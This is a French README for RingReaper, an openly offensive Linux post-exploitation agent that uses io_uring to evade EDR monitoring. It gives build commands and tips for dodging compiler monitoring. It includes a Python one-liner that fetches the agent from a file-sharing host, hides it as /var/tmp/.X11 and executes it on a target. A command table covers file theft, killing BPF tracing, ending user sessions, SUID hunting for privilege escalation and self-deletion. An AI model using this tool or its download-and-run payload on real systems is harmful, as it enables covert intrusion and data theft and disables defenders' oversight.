
Agent de post-exploitation Linux qui utilise io_uring pour contourner furtivement la détection EDR en évitant les appels système traditionnels.
RingReaper est un agent de post-exploitation simple pour Linux, conçu pour ceux qui doivent opérer en toute discrétion, en minimisant les risques de détection par les solutions EDR. L'idée derrière ce projet était d'exploiter io_uring, la nouvelle interface d'E/S asynchrone du noyau Linux, afin d'éviter les appels système traditionnels que la plupart des EDR surveillent, voire hookent.
En pratique, RingReaper remplace des appels tels que read, write, recv, send, connect, entre autres, par des opérations d'E/S asynchrones (io_uring_prep_*), réduisant ainsi l'exposition aux hooks et au traçage d'événements généralement collectés de manière standardisée par les produits de sécurité.
REMARQUE : Certaines fonctions de RingReaper reposent encore sur des appels traditionnels, comme la lecture de répertoires (
opendir,readdir) ou la résolution de liens symboliques (readlink), car io_uring ne prend pas encore pleinement en charge ces types d'opérations de manière native. Malgré tout, lors de mes tests, ces appels n'ont pas déclenché d'alertes sur les EDR testés, précisément parce qu'ils se situent en dehors des chemins d'E/S réseau surveillés.
En résumé, RingReaper a été conçu pour éviter autant que possible les appels traditionnels et, même dans les cas où il a dû les utiliser, il a démontré d'excellentes capacités d'évasion, sans aucune alerte ni détection de la part des agents de sécurité courants.
Consultez l'article complet et détaillé à l'adresse :
https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/
Auteur : https://www.linkedin.com/in/mathsalves/
Rootkit Researchers
Dans RingReaper, tout le trafic de données, y compris les commandes de contrôle, les téléversements et les téléchargements, doit passer par io_uring. Cela garantit également que les opérations les plus sensibles restent hors de portée des hooks et de la surveillance EDR basée sur les appels traditionnels.
RingReaper a été conçu dès le départ pour contourner la surveillance des EDR. De nombreuses solutions de sécurité fondent leurs déclencheurs de détection sur l'interception des syscalls classiques (read, recv, send, connect) au niveau du noyau. Comme io_uring est relativement récent et moins intégré au pipeline de télémétrie de ces produits, il passe souvent inaperçu auprès de la plupart des agents, permettant des sessions C2 et de l'exfiltration de données sans déclencher d'alertes.
Même les fonctions qui reposent encore sur d'anciens syscalls (comme la lecture de répertoires) sont restées suffisamment discrètes pour ne pas déclencher d'alarmes.
liburingTesté UNIQUEMENT sur les versions de noyau suivantes :
sudo apt install liburing-dev -y
gcc agent.c -o agent -luring -O2 -s -static
Lors des tests, j'ai remarqué que l'EDR détectait la compilation de agent.c en surveillant l'utilisation de GCC en temps réel (mieux vaut ne pas utiliser wget/curl). Pour contourner cela, j'ai compilé l'agent en statique sur ma machine, envoyé le binaire final via temp.sh et utilisé Python sur la cible pour le télécharger et l'exécuter. Cette technique a fonctionné sans alerte.
Serveur (machine d'attaque) :
curl -F "file=@agent" https://temp.sh/uploadpython3 server.py --ip IP --port 443Agent (machine cible) :
python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"Version 2.0 :
N'hésitez pas à soumettre des pull requests et à contribuer au projet. Si vous rencontrez des erreurs avec RingReaper, veuillez créer une issue et nous la signaler.
Ce code a été développé uniquement à des fins éducatives, de recherche et de démonstrations contrôlées de techniques d'évasion. Toute utilisation en dehors d'environnements autorisés, ou à des fins malveillantes, est strictement interdite et relève entièrement de la responsabilité de l'utilisateur. Une utilisation non autorisée ou illégale peut enfreindre les lois locales, nationales ou internationales.
| Commande | Description | Backend |
|---|
get | Rechercher des fichiers sur la cible | 100% io_uring |
put | Téléverser des fichiers (utilise recv côté agent) | 100% io_uring |
killbpf | Désactiver le traçage, supprimer les fichiers /sys/fs/bpf et tuer les processus utilisant bpf-map | appels traditionnels + io_uring |
users | Lister les utilisateurs connectés en lisant utmp | 100% io_uring |
ss / netstat | Lister les connexions TCP depuis /proc/net/tcp | 100% io_uring |
privesc | Rechercher les binaires SUID à l'aide de statx | 100% io_uring |
ps | Lister les processus (utilise opendir, readdir) | appels traditionnels + io_uring |
kick | Tuer les sessions pts (utilise opendir, readdir, kill, readlink) | appels traditionnels + io_uring |
me | Afficher PID/TTY (getpid, ttyname) | appels traditionnels + io_uring |
selfdestruct | Supprimer le binaire actuel (utilise readlink) | appels traditionnels + io_uring |
exit | Terminer la connexion et quitter | 100% io_uring |
help | Afficher l'aide | 100% io_uring |